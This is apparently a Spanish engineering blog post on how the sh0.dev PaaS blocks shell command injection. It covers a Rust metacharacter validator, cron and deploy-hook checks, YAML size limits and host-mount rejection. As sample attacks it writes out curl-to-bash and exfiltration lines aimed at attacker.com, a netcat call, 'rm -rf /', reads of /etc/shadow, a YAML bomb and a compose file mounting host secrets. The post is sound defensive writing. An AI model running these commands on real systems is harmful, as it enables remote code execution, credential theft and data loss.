He aqui la paradoja fundamental de construir una Platform-as-a-Service: el punto central del producto es ejecutar comandos proporcionados por el usuario. Los hooks de despliegue ejecutan npm run build. Las tareas cron ejecutan python cleanup.py. Las sesiones Docker exec pasan comandos shell a contenedores en ejecucion. No puedes simplemente rechazar toda entrada del usuario que parezca un comando -- los comandos son el producto.
Pero un PaaS que ejecuta entrada shell arbitraria esta a un punto y coma de la catastrofe. npm run build; curl attacker.com/shell.sh | bash parece un comando de build con un sufijo creativo. En realidad es ejecucion de codigo arbitrario en tu infraestructura.
Este articulo cubre como construimos la prevencion de inyeccion de comandos para sh0.dev: la funcion validate_command(), las tres superficies de ataque que protege, y las defensas complementarias que hacen el sistema seguro sin hacerlo inutilizable.
Las tres superficies de ataque
sh0 acepta comandos proporcionados por el usuario en tres lugares, cada uno con diferentes niveles de confianza y contextos de ejecucion:
1. Tareas cron
Los usuarios definen tareas programadas con una expresion cron y una cadena de comando. El comando se ejecuta dentro del contenedor de la aplicacion segun el horario definido. Esta es la superficie de mayor riesgo porque las tareas cron se ejecutan sin supervision -- no hay un humano observando la salida, y un comando malicioso podria ejecutarse durante semanas antes de que alguien lo note.
2. Hooks de despliegue
Los hooks pre-despliegue y post-despliegue se ejecutan como parte del pipeline de despliegue. Un hook pre-despliegue podria ejecutar migraciones de base de datos; un hook post-despliegue podria limpiar una cache o enviar una notificacion. Estos comandos se ejecutan en el contenedor de build o aplicacion durante el proceso de despliegue.
3. Docker Exec (terminal web)
La funcionalidad de terminal web permite a los usuarios abrir una sesion shell dentro de un contenedor en ejecucion. Esto es inherentemente una interfaz de ejecucion de comandos arbitrarios -- ese es su proposito. La defensa aqui es diferente: autenticacion y autorizacion en lugar de validacion de comandos. Pero la API Docker exec en si necesita proteccion contra inyeccion de parametros.
Inyeccion de metacaracteres shell
El vector de ataque central es la inyeccion de metacaracteres shell. Cuando una cadena de comando se pasa a sh -c, el shell interpreta caracteres especiales antes de ejecutar el comando. Estos metacaracteres habilitan encadenamiento de comandos, ejecucion de subshell y redireccion de I/O:
| Caracter | Efecto | |
|---|---|---|
; | Separador de comandos -- ejecuta el siguiente comando sin importar | |
| `\ | ` | Pipe -- alimenta la salida al siguiente comando |
& | Ejecucion en segundo plano o encadenamiento de comandos (&&) | |
` `` | Sustitucion de comandos -- ejecuta el comando encerrado | |
$( | Sustitucion de comandos (sintaxis moderna) | |
> / < | Redireccion de I/O -- puede sobreescribir archivos | |
\n / \r | Inyeccion de nueva linea -- inicia un nuevo comando |
Una tarea cron definida como python cleanup.py && curl attacker.com/exfil?data=$(cat /etc/shadow) usa tres metacaracteres: && para encadenamiento, $( para sustitucion de comandos, y el comando resultante exfiltra el archivo shadow de contrasenas.
La funcion validate_command()
Nuestra defensa es una funcion de validacion estricta que rechaza comandos que contienen metacaracteres shell. La funcion se ejecuta en el limite de la API -- antes de que el comando se almacene en la base de datos, antes de que se encole para ejecucion, antes de que toque ningun shell.
rustconst FORBIDDEN_CHARS: &[char] = &[';', '|', '&', '`', '>', '<', '\n', '\r'];
const FORBIDDEN_PATTERNS: &[&str] = &["$(", "${"];
const MAX_COMMAND_LENGTH: usize = 4096;
pub fn validate_command(cmd: &str) -> Result<(), ApiError> {
// El limite de longitud previene abuso y desbordamiento de buffer en sistemas downstream
if cmd.is_empty() {
return Err(ApiError::BadRequest("El comando no puede estar vacio".into()));
}
if cmd.len() > MAX_COMMAND_LENGTH {
return Err(ApiError::BadRequest(
format!("El comando excede la longitud maxima de {} caracteres", MAX_COMMAND_LENGTH)
));
}
// Rechazar metacaracteres shell
for ch in FORBIDDEN_CHARS {
if cmd.contains(*ch) {
return Err(ApiError::BadRequest(
format!("El comando contiene caracter prohibido: '{}'", ch)
));
}
}
// Rechazar patrones de expansion shell
for pattern in FORBIDDEN_PATTERNS {
if cmd.contains(pattern) {
return Err(ApiError::BadRequest(
format!("El comando contiene patron prohibido: '{}'", pattern)
));
}
}
Ok(())
}El limite de 4096 caracteres no es arbitrario. Coincide con el ARG_MAX por defecto en la mayoria de los sistemas Linux para argumentos individuales y previene denegacion de servicio a traves de cadenas de comando extremadamente largas que consumen memoria durante la validacion y el registro de logs.
Lo que esto permite
La validacion es deliberadamente permisiva para casos de uso legitimos:
python manage.py migrate-- sin metacaracteres, pasanpm run build-- sin metacaracteres, pasa/usr/bin/backup --output /data/backup.tar.gz-- flags y rutas estan biennode scripts/cleanup.js --days 30-- argumentos con valores pasancurl -X POST https://api.example.com/webhook-- URLs sin metacaracteres pasan
Lo que esto rechaza
npm run build; rm -rf /-- punto y coma rechazadoecho "done" | nc attacker.com 4444-- pipe rechazadopython script.py && curl evil.com-- ampersand rechazado- `
echowhoami` -- backtick rechazado python -c "import os; os.system('$(cat /etc/passwd)')"--$(rechazadonode app.js > /dev/null-- redireccion rechazada
La pregunta de los falsos positivos
La objecion mas comun al rechazo de metacaracteres son los falsos positivos. "Y si mi tarea cron legitamente necesita un pipe?" La respuesta: escribe un script. En lugar de cat log.txt | grep ERROR | wc -l, crea un archivo count_errors.sh en tu repositorio y establece el comando cron como bash /app/count_errors.sh. El archivo de script puede contener cualquier sintaxis shell que quiera -- el riesgo de inyeccion existe solo en el limite de la cadena de comando donde la entrada del usuario se encuentra con el shell.
Esto no es una limitacion. Es una buena practica. Los one-liners shell en definiciones de cron son fragiles, dificiles de probar e imposibles de versionar. Llevar la logica compleja a scripts mejora la mantenibilidad independientemente de las consideraciones de seguridad.
Tareas cron: validacion en el momento de la definicion
Los comandos de tareas cron se validan cuando el trabajo se crea o actualiza -- no cuando se ejecuta. Esto es critico. Si la validacion solo ocurriera en el momento de ejecucion, un comando malicioso se almacenaria en la base de datos, seria visible en la UI y potencialmente copiado por otros usuarios antes de que la validacion entre en accion.
rustpub async fn create_cron_job(
auth: AuthUser,
Path(app_id): Path<String>,
Json(payload): Json<CreateCronJob>,
) -> Result<Json<Value>, ApiError> {
require_app_access(&auth, &app_id, Role::Developer)?;
// Validar comando ANTES de almacenar
validate_command(&payload.command)?;
// Validar expresion cron
validate_cron_expression(&payload.schedule)?;
// Aplicar limite por app
let existing = db::cron_jobs::count_by_app(&app_id).await?;
if existing >= 50 {
return Err(ApiError::BadRequest("Maximo 50 tareas cron por app".into()));
}
// Seguro para almacenar y programar
let job = db::cron_jobs::create(&app_id, &payload).await?;
Ok(Json(to_json(&job)?))
}El limite por app de 50 tareas cron es una defensa secundaria. Sin el, un atacante podria crear miles de tareas cron para agotar los recursos del programador -- una denegacion de servicio que no requiere inyeccion de comandos.
Hooks de despliegue: validacion antes de la ejecucion
Los hooks de despliegue siguen el mismo patron pero con una restriccion adicional: se ejecutan en el contexto del pipeline de despliegue, que tiene acceso a artefactos de build, variables de entorno y el socket Docker.
rustpub async fn execute_hooks(
hooks: &[DeployHook],
container_id: &str,
phase: HookPhase,
) -> Result<(), DeployError> {
for hook in hooks.iter().filter(|h| h.phase == phase) {
// Re-validar aunque fue validado en el momento de creacion
// Defensa en profundidad: la definicion del hook podria haber sido modificada
validate_command(&hook.command)?;
docker::exec(container_id, &["sh", "-c", &hook.command]).await?;
}
Ok(())
}Validamos tanto en el momento de creacion como en el de ejecucion. La verificacion en creacion previene el almacenamiento de comandos maliciosos. La verificacion en ejecucion es defensa en profundidad -- si una migracion de base de datos, un bug o una modificacion directa de la base de datos introduce un comando malicioso, la validacion en ejecucion lo detecta.
Proteccion contra bombas YAML
sh0 soporta archivos de configuracion YAML al estilo Docker Compose para despliegues multi-contenedor. El parsing de YAML introduce su propia clase de ataques de inyeccion:
Las bombas YAML explotan la funcionalidad de ancla/alias de YAML para crear expansion exponencial:
yamla: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]Cada nivel multiplica por 9. Cuatro niveles producen 6.561 elementos. Ocho niveles producen 43 mil millones. Un archivo YAML de 1 KB puede consumir gigabytes de memoria durante el parsing.
La defensa es simple: rechazar archivos YAML mayores de 256 KB antes del parsing. Los archivos Docker Compose legitimos raramente exceden unos pocos kilobytes. El limite es lo suficientemente generoso para cualquier caso de uso real y previene que la expansion exponencial comience.
rustconst MAX_YAML_SIZE: usize = 256 * 1024; // 256 KB
pub fn parse_compose(yaml_str: &str) -> Result<ComposeConfig, ApiError> {
if yaml_str.len() > MAX_YAML_SIZE {
return Err(ApiError::BadRequest(
format!("El archivo YAML excede el tamano maximo de {} bytes", MAX_YAML_SIZE)
));
}
serde_yaml::from_str(yaml_str).map_err(|e| ApiError::BadRequest(e.to_string()))
}Prevencion de traversal de ruta en volumenes
Las configuraciones Docker Compose pueden especificar montajes de volumenes. Una configuracion maliciosa podria intentar montar rutas del host:
yamlservices:
app:
volumes:
- /etc/shadow:/stolen/shadow:ro
- ../../../root/.ssh:/stolen/ssh:rosh0 rechaza cualquier montaje de volumen que especifique una ruta del host. Solo se permiten volumenes con nombre y volumenes anonimos:
rustpub fn validate_volumes(volumes: &[String]) -> Result<(), ApiError> {
for volume in volumes {
// Volumenes con nombre: "mydata:/app/data"
// Volumenes anonimos: "/app/data"
// Rutas del host: "/host/path:/container/path" o "./relative:/container/path"
let parts: Vec<&str> = volume.split(':').collect();
if parts.len() >= 2 {
let source = parts[0];
// Rechazar rutas absolutas del host y rutas relativas
if source.starts_with('/') || source.starts_with('.') || source.contains("..") {
return Err(ApiError::BadRequest(
format!("Los montajes de ruta del host no estan permitidos: {}", volume)
));
}
}
}
Ok(())
}Este es un limite de seguridad fundamental en cualquier plataforma de orquestacion de contenedores. Los montajes de ruta del host eludan completamente el aislamiento del contenedor. El sistema de archivos del contenedor deberia ser asunto del contenedor; el sistema de archivos del host pertenece a la plataforma.
Valores de seguridad por defecto de contenedores
Mas alla de la validacion de comandos, cada contenedor iniciado por sh0 recibe valores de seguridad por defecto que limitan el radio de explosion de cualquier comando que se ejecute:
no-new-privileges: true-- Previene que los procesos dentro del contenedor obtengan privilegios adicionales a traves de binariossetuido herencia de capacidades. Incluso si un atacante logra ejecucion de codigo, no puede escalar a root.- Limite de memoria: 512 MB -- Previene que un proceso desbocado consuma toda la memoria del host.
- Limite de CPU: 1.0 CPU -- Previene que un ataque computacionalmente intensivo prive de recursos a otros contenedores.
Estos se aplican a todos los contenedores por defecto. Los usuarios pueden ajustar los limites de recursos dentro de limites definidos pero no pueden desactivar no-new-privileges.
El stack de defensa en profundidad
Ninguna defensa individual es suficiente. La prevencion de inyeccion de comandos en sh0 es un stack de medidas complementarias:
| Capa | Defensa | Protege contra |
|---|---|---|
| 1 | validate_command() | Inyeccion de metacaracteres shell |
| 2 | Limite de tamano YAML (256 KB) | Bombas YAML / agotamiento de memoria |
| 3 | Rechazo de montaje de volumenes | Acceso al sistema de archivos del host |
| 4 | no-new-privileges | Escalada de privilegios dentro de contenedores |
| 5 | Limites de recursos | DoS via consumo de recursos |
| 6 | Aplicacion RBAC | Acceso no autorizado para crear cron/hooks |
| 7 | Logging de auditoria | Forense post-incidente |
| 8 | Limitacion de tasa | Creacion de comandos por fuerza bruta |
Un atacante necesitaria eludir multiples capas simultaneamente. Incluso si validate_command() no detectara una tecnica de inyeccion novedosa, el contenedor se ejecuta con privilegios restringidos, recursos limitados, sin acceso al sistema de archivos del host y con logging de auditoria completo.
Equilibrando seguridad con usabilidad
La parte mas dificil de la prevencion de inyeccion de comandos no es la implementacion -- es la experiencia de usuario. Cada comando rechazado es un usuario frustrado. Los mensajes de error deben ser lo suficientemente especificos para que el usuario entienda que cambiar:
400 Bad Request: El comando contiene caracter prohibido: '|'es accionable. El usuario sabe que debe eliminar el pipe y usar un script en su lugar.
400 Bad Request: Comando invalidoes inutil. El usuario no tiene idea de que esta mal.
Tambien documentamos la restriccion en la UI del dashboard. El formulario de creacion de tareas cron y la pagina de configuracion de hooks de despliegue incluyen una nota explicando que los metacaracteres shell no estan permitidos y sugiriendo la alternativa de archivo de script para comandos complejos.
Lo que consideramos y rechazamos
Escape de shell en lugar de rechazo. Podriamos escapar metacaracteres en lugar de rechazarlos -- convirtiendo ; en \;, | en \|, etc. Rechazamos este enfoque porque el escape es fragil. Diferentes shells manejan el escape de forma diferente. El escape anidado (escapar una cadena ya escapada) es notoriamente propenso a errores. Un caso extremo no contemplado en la logica de escape es una vulnerabilidad de inyeccion de comandos. El rechazo es directo pero confiable.
Ejecucion shell con sandbox. Podriamos ejecutar comandos en un shell restringido (rbash) o usar perfiles seccomp para limitar las llamadas al sistema. Esto anade complejidad y es especifico del shell. Ya ejecutamos comandos dentro de contenedores Docker con no-new-privileges -- el contenedor en si es el sandbox.
Parsing de comandos basado en AST. Podriamos parsear la cadena de comando en un arbol de sintaxis abstracta y rechazar arboles que contengan multiples comandos, redirecciones o subshells. Esto es teoricamente mas preciso pero requiere un parser shell completo. La gramatica shell es compleja, inconsistente entre implementaciones, y un AST parseado da una falsa sensacion de seguridad si el parsing no coincide exactamente con el comportamiento del shell.
La solucion mas simple -- rechazar caracteres conocidos como peligrosos a nivel de cadena -- es la mas robusta. No tiene casos extremos porque no intenta entender la semantica del comando. Solo rechaza caracteres que tienen significado especial para cualquier shell POSIX.
Lecciones aprendidas
- Validar en el limite, no en la ejecucion. La validacion de comandos ocurre cuando el usuario crea la tarea cron o el hook de despliegue -- antes de que el comando toque la base de datos. La validacion en ejecucion es defensa en profundidad, no el control primario.
- El rechazo supera al escape. Escapar metacaracteres shell es fragil y especifico del shell. Rechazarlos es directo, confiable y facil de razonar.
- El patron de archivo de script resuelve el problema de usabilidad. Si los usuarios necesitan logica shell compleja, deberian escribir un archivo de script y establecer el comando para ejecutarlo. Esta es mejor practica de ingenieria independientemente de la seguridad.
- La defensa en profundidad no es opcional. Ninguna capa individual es suficiente. Validacion de comandos, aislamiento de contenedores, limites de recursos, restricciones de privilegios, RBAC y logging de auditoria trabajan juntos. Un atacante debe eludir todos.
- Los mensajes de error son una funcionalidad de UX de seguridad. Mensajes de error especificos ("caracter prohibido: '|'") convierten un rechazo frustrante en un momento de aprendizaje. Mensajes genericos ("comando invalido") generan tickets de soporte.
Este articulo es parte de la serie "Como construimos sh0.dev". sh0 es un PaaS auto-hospedado construido en Rust por Juste Thales Gnimavo y Claude en 14 dias sin ningun ingeniero humano. Sigue la serie para inmersiones profundas en cada capa de la plataforma.